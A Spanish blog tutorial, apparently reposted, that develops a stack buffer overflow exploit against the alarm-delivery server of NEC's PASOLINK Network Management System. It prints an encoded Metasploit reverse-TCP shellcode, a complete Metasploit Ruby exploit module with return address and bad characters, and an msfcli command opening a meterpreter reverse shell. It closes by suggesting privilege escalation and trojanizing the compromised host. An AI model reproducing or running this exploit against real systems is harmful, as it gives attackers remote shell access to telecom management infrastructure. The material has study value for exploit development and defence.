En el presente articulo se detalla y explica la manera en la cual se realiza un exploit con un programa real propietario, el programa objetivo de este análisis es un gestor de plataformas de telecomunicaciones para este caso hablamos del PASOLINK Network Management System (PNMS) de NEC, el cual es un sistema de gestión de equipos de radio, la versión de los clientes y la disponibilidad de los mismos será omitida por obvias razones. Como todo administrador de gestión de radio posee 2 capas a nivel de producción, el primero el mas tangible al usuario que es precisamente el sistema de gestión y todo lo que este engloba, la segunda es un servidor a nivel de tcp el cual la mayor parte de las veces sirve como socket de entrega de alarmas por un puerto determinado.
Este es un protocolo muy común en varias plataformas de gestión de telecomunicaciones, para muestras basta analizar los sistemas de gestión tales como los desarrollados por CastleRock (SNMPcOnLine en todas sus variantes http://www.castlerock.com) el cual de la misma manera en la cual recolecta las alarmas vía SNMP, también poseen mecanismos de entrega, utilizando sencillos sockets, los cuales por difícil que parezca carecen de las mas mínimas recomendaciones de programación segura.
Cuando hablamos de aprovechar fallos de seguridad en una intranet se comete el error de buscar vulnerabilidades en entornos ya muy controlados, los IDS's o IPS's en sus diferente versiones, ya sean appliance o a nivel de software, dificultan de una manera increíble el trabajo de explotación, sin embargo hay que aprender que la búsqueda no comienza por lo ya de por si trillado, si no por aquello que intuitivamente sería o debería ser mas difícil de vulnerar: en este caso y como en la mayor parte de los artículos que he dado a conocer, la capa mas vulnerable es aquella que es difícil supuestamente de corromper: los sistemas de gestión.
Herramientas y Objetivos
Bien, el objetivo del presente artículo, no es detallar una intrusión haciendo uso de exploits que quedan fuera de nuestro entendimiento, el objetivo es explicar, el análisis inicial y final durante el desarrollo de un exploit haciendo uso de API's que nos faciliten su desarrollo y analisis. Para ello utilizaremos las siguientes herramientas:
- MetaSploit Framework: nos facilitará la generación de la cadena a inyectar en nuestro Exploit final, este posee a su vez las siguientes herramientas que describiré de manera sustancial:
- - Msfconsole (Consola de Metasploit).
- - Msfgui (Interfaz gráfica de Metasploit).
- - Msfcli (Cliente de Metasploit).
- - Msfweb (Servidor e Interfaz web de Metasploit).
- Msfopcode (Cliente de la base de datos de opcodes de Metasploit)
- El servidor extraído directamente del PNMS: El cual es el programa vulnerable, disponible desde aquí: wget http://jesusssx.files.wordpress.com/2010/05/serverpnms.jpg (Cambiar la extensión a .exe)
- OllyDBG: El debugger necesario para conocer el estado del stack y las direcciones de la misma.
- WinDBG: Un debugger que nos ayudara a conocer el contenido puntual de los registros del sistema.
Obviamente no contamos con el código fuente del pequeño servidor, sin embargo no es necesario, basta con saber como funciona. El programa se ejecuta de la siguiente manera:
Con esto el servidor se encuentra en escucha, tal cual lo hace el PNMS real, el funcionamiento original de este programa es entregar alarmas mediante el puerto que se especifica luego del nombre, se implementa un protocolo propietario, en el cual se envían señales sync y ack de manera secuencial, el servidor responde y comienza el intercambio de alarmas. El cliente se conectaría de manera sencilla de la siguiente manera.
Probando Vulnerabilidades
Evidentemente no tenemos conexión al sistema de gestión por ello no se reciben alertas, eso es lo que menos importa, vamos a probar el típico buffer overflow enviando una cadena enorme de caracteres:
Con esto enviamos 1024 veces el caracter “b” al socket, se sabe que existe un desbordamiento de pila pues el socket aun cuando se encuentra arriba ya no responde ninguna instrucción como antes lo hacia, cuando terminamos la conexión enviando un Control + C, observamos lo que ocurre en nuestro servidor PNMS:
Armando el Exploit
En efecto, existe un desbordamiento de pila, el cual sobreescribe e 62 el equivalente en Hexadecimal a “b”. El punto sensible ahora es conocer en donde se encuentra desbordando la pila para realizar el exploit que aproveche esta vulnerabilidad la cual evidentemente es muy inocentemente un descuido en el tamaño del buffer. El típico y muy conocido error es el decuido del buffer de lectura. Para conocer un poco mas acerca del desbordamiento de pila, he aquí el paper oficial publicado por Aleph One: (Smashing The Stack For Fun And Profit).
http://insecure.org/stf/smashstack.html
Necesitamos entonces conocer el significado reducido y solo por recordar, de los registros mas importantes, los cuales juegan un papel muy importante durante la generación del exploit:
- EBP (extended base pointer)
- ESI (extended source index)
- EDI (extended destination index)
- ESP (extended stack pointer)
- EIP (enhanced instruction pointer) Apunta a la siguiente instrucción a se ejecutada.
Para ello usaremos OllyDBG con el fin de encontrar el crash a nivel de stack, se vuelve a ejecutar el Servidor y en OllyDBG se attachea el proceso del servidor haciendo clic en file->attach y seleccionamos “ServerPNMS” una vez cargado el programa realizaremos el buffer overflow enviando de nuevo 1024 veces algún caracter (en este caso “b”) y observamos la pila:
Observemos el stack para saber a partir de que dirección con exactitud se encuentra el desbordamiento del buffer:
Como se puede observar el EIP quedo sobreescrito por 62 y a partir de la dirección 0022FB60 tal cual se puede observar en la imagen, lo que ahora sigue es conocer el tamaño de nuestra cadena a inyectar en el buffer, para reservar espacio y conocer nuestra dirección de salto o retorno hacia el shellcode resultante. Para esto haremos uso del MetaSploit y de las siguientes 3 herramientas:
- Mspayload (Generador de PAYLOADS de Metasploit)
- Pattern_create (Genera una cadena con cierto patrón, utilizada para encontrar las direcciones offset)
- Pattern_offset (Calcula el offset de una cadena específica)
Primeramente generaremos una cadena de 1024 bits para conocer en donde el EIP comienza a ser sobreescrito, pues necesitamos conocer la manera de escribir el EIP de la manera que mas nos convenga, para ello haremos uso de las las herramientas pattern_create.rb y pattern_offset.rb de Metasploit:
Veamos con WinDBG la dirección del EIP:
Debemos calcular el desplazamiento pues necesitamos saber en que momento reescribiremos el EIP, para ello usaremos pattern_offset haciendo uso de la info arrojada por WinDBG:
Por lo tanto observamos que a partir del carácter 524 se inicia la escritura del registro EIP ahora analicemos el contenido del registro ESP.
La dirección del ESP es: 0022fd70 el contiene: Ar6Ar, pasemos ese valor pattern_offset:
Podemos notar que a partir del carácter 528 se inicia la escritura del registro ESP, que es donde precisamente debe estar nuestro Payload. Entonces nuestro buffer debe ser:
[NOPs][shellcode][return address] total: 524 bytes.
Para ejemplificar lo que hará el Metasploit en la generación de la cadena resultante correspondiente al shellcode que se introducirá en el buffer destinado para ello usaremos la interfaz web y seleccionaremos Windows Command Shell, Reverse TCP Inline, esto para asegurar el acceso en caso de que el equipo vulnerado tenga el firewall activado:
Resumiendo: debemos indicarle al EIP que ejecute el Payload que se encuentra en ESP, para ello EIP debe contener la dirección de memoria a donde se encuentra el Payload y que a su vez apunte a una instrucción JMP ESP, normalmente deberíamos realizar nuestra propia optimización de código sin embargo para ello en esta ocasión utilizaremos la base de datos de opcodes de Metasploit. Así que llenamos los datos que se piden y damos clic en generar.
De esta manera obtenemos la siguiente cadena a inyectar:
*/
* windows/shell_reverse_tcp - 504 bytes
* http://www.metasploit.com
* Encoder: x86/shikata_ga_nai
* NOP gen: x86/opty2
* LHOST=192.168.1.77, LPORT=4444, ReverseConnectRetries=5,
* EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x99\xbf\x7c\x43\x73\x47\x7f\x0d\x90\x1c\x25\xb1\xbe\x91\x9b"
"\x2d\x41\x4f\xb5\xb3\x20\xd1\xe0\x7b\x2f\xb6\x75\x39\xd4\x05"
"\x3b\xfd\xba\x37\x40\x66\x10\xe3\x30\xf9\x6b\xd5\x79\x74\x0c"
"\xa8\x89\xe0\x13\xc1\xe2\x04\x98\x9f\xb9\x73\x3f\xb0\x7f\x46"
"\xa9\x7c\x4a\x7b\x3d\x97\x71\x35\xb7\x78\x2c\x75\x19\xe1\x1d"
"\x83\xf9\x7a\x3c\x72\x2c\x35\x97\x4f\xb4\x7d\x37\x0b\xff\xc0"
"\xf8\xa8\x48\x92\x96\x02\xe3\x3d\x25\x24\x99\xb7\x7e\x15\xb2"
"\xb0\x76\x18\xd4\x4a\x70\x27\x91\xfc\x9b\x43\x2f\x3f\xb8\x2d"
"\x93\x67\xba\x84\xfd\xb6\x22\xf5\x40\x42\x14\x47\x4e\x98\x1c"
"\x0d\xb9\xbb\x32\xeb\x0c\x8d\xbf\xa9\x05\xb3\xbe\x34\x4b\x21"
"\xd6\xb5\x77\x04\x46\x9f\x49\x66\xb1\x90\x3a\xd5\x41\x29\xc9"
"\xbf\x92\xd9\xae\x85\xb1\x4f\xda\xc5\xd9\x74\x24\xf4\x5a\x83"
"\xea\xfc\x31\x7a\x0c\x03\x7a\x0c\x70\x2c\x52\x6d\xfd\xcf\xab"
"\x6e\x9d\x46\x4e\x5f\x8f\x3d\x1a\xf2\x1f\x35\x4e\xff\xd4\x1b"
"\x7b\x74\x98\xb3\x8c\x3d\x16\xe2\xa3\xbe\x97\x2a\x6f\x7c\xb6"
"\xd6\x72\x51\x18\xe6\xbc\xa4\x59\x2f\xa0\x47\x0b\xf8\xae\xfa"
"\xbb\x8d\xf3\xc6\xba\x41\x78\x76\xc4\xe4\xbf\x03\x7e\xe6\xef"
"\xbc\xf5\xa0\x17\xb6\x51\x11\x29\x1b\x82\x6d\x60\x10\x70\x05"
"\x73\xf0\x49\xe6\x45\x3c\x05\xd9\x69\xb1\x54\x1d\x4d\x2a\x23"
"\x55\xad\xd7\x33\xae\xcf\x03\xb6\x33\x77\xc7\x60\x90\x89\x04"
"\xf6\x53\x85\xe1\x7d\x3b\x8a\xf4\x52\x37\xb6\x7d\x55\x98\x3e"
"\xc5\x71\x3c\x1a\x9d\x18\x65\xc6\x70\x25\x75\xae\x2d\x83\xfd"
"\x5d\x39\xb5\x5f\x0a\x8e\x8b\x5f\xca\x98\x9c\x2c\xf8\x07\x36"
"\xbb\xb0\xc0\x90\x3c\xb6\xfa\x64\xd2\x49\x05\x94\xfa\x8d\x51"
"\xc4\x94\x24\xda\x8f\x64\xc8\x0f\x1f\x35\x66\xe0\xdf\xe5\xc6"
"\x50\xb7\xef\xc8\x8f\xa7\x0f\x03\xa6\xe0\x98\x6c\x11\xef\x15"
"\x05\x60\xef\xb4\x89\xed\x09\xdc\x21\xb8\x82\x49\xdb\xe1\x58"
"\xeb\x24\x3c\xc8\x88\xb7\xdb\x08\xc6\xab\x73\x5f\x8f\x1a\x8a"
"\x35\x3d\x04\x24\x2b\xbc\xd0\x0f\xef\x1b\x21\x91\xee\xee\x1d"
"\xb5\xe0\x36\x9d\xf1\x54\xe7\xc8\xaf\x02\x41\xa3\x01\xfc\x1b"
"\x18\xc8\x68\xdd\x52\xcb\xee\xe2\xbe\xbd\x0e\x52\x17\xf8\x31"
"\x5b\xff\x0c\x4a\x81\x9f\xf3\x81\x01\xaf\xb9\x8b\x20\x38\x64"
"\x5e\x71\x25\x97\xb5\xb6\x50\x14\x3f\x47\xa7\x04\x4a\x42\xe3"
"\x82\xa7\x3e\x7c\x67\xc7\xed\x7d\xa2";Dejaremos 20 lugares para introducir los NOP's y asegurar que nuestro salto sea tomado de manera adecuada. En este momento ya tenemos entonces la información necesaria para ensamblar nuestro exploit:
- Información General para el Payload
- Dirección de salto: 0x0022fb64 (para asegurar nuestro salto)
- Tamaño total de la cadena: 524 bytes.
- Caracteres no válidos: \x00\x20\x0D\x0A
- Plataforma: Windows
- Objetivos: Windows
- Método Exploit: Reverse Shell TCP
Pasaremos al ensamblado del exploit, para ello utilizaremos la versión mas actual de este software la cual es metasploit v3.4.0-dev [core:3.4 api:1.0], haremos uso de la API para desarrollar Exploits, que como sabemos nos facilitará de manera enorme la realización de la cadena final a inyectar. Comenzamos a realizar el script inicial, que desbordará la pila sin especificar los datos importantes tales como el payload y la dirección de retorno, las partes de un exploit en el metasploit son las siguientes:
- Comentarios
- Dependencias
- Definición de las clases
- Inclusiones
- Método del Constructor
- Nombre del exploit.
- Descripción del exploit.
- Mas datos sobre el exploit
Ensamblando el script para el Metasploit y una vez explicadas cada una de los apartados que debe contener, nuestro exploit quedará de la siguiente manera: (En mi caso el script queda en la siguiente ruta: /opt/metasploit3/msf3/modules/exploits/windows/misc/PNMS.rb)
require 'msf/core'
# clase principal
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
# informacion de todo el exploit
def initialize(info = {})
super(update_info(info,
'Name' => 'exploit PNMS',
'Description' => 'exploit PNMS',
'Author' => 'cggj',
'Version' => '1.0',
'Payload' =>
{
'Space' => 504, # espacio que usa el payload.
'StackAdjustment' => -3500,#modifica el stack pointer de donde inicia el shellcode
'BadChars' => "\x00\x20\x0D\x0A", #caracteres que no debe poseer el shellcode
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows',
{
'Platform' =>'win',
'Ret' => 0x0022fb64 # direccion de retorno comienza en 0022fb60
}
],
],
'DefaultTarget' => 0))
end
end
def check
connect
buf = "version\n"
sock.put(buf)
res = sock.get
disconnect
if res =~ /bof-server v0.01/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
buf = payload.encoded # Invocamos el Payload definido en el apartado Payload.
buf << make_nops(20) # Definimos 504 bytes para el tamaño del Payload faltando 20 bytes para NOPS
buf << [target.ret].pack('V') # Direccion de retorno para sobreescribir el EIP
sock.put(buf) # Envio de datos
sock.get
handler # Transfiere la conexion al handler del Payload
disconnect #Termina la conexion
end
endBásicamente en el método exploit se define la manera en la cual se comenzará el ataque, primero conectamos con la víctima, posteriormente se crea un buffer con nuestro Payload, el cual queda regido por las propiedades definidas en la especificación del mismo. Posteriormente se añaden 20 NOP's (x90) recordemos que el tamaño destinado a nuestro Payload fue de 504 bytes cuando necesitamos de 524 bytes, al final se agrega la dirección de retorno EIP
[target.ret].pack('V') , enviamos los datos y ejecutamos el manejador (handler), para al finalizar desconectar.
Veamos su ejecución en consola (MSFCLI) para verificar que todos los datos introducidos son correctos: (El comando a ejecutar será)
msfcli windows/misc/PNMS PAYLOAD=windows/meterpreter/reverse_tcp RPORT=3500 RHOST=192.168.1.77 LHOST=192.168.1.103 EDe esta manera especificamos nuestro exploit: PNMS, el Payload a aplicar, el puerto remoto y finalmente nuestros hosts, tanto de la víctima como el del atacante.
Como se puede observar, el exploit funciona de manera adecuada levantando una sesión remota en el servidor que aloja el PNMS, con privilegios del ejecutor de dicho programa. Ya con una Shell solo queda elevar privilegios si es que es necesario y troyanizar según se necesite.
Fuente: http://jesusssx.wordpress.com/
Ingeniero, me gusta la cyberseguridad, la programación y el blockchain.
0 Notaciones:
Publicar un comentario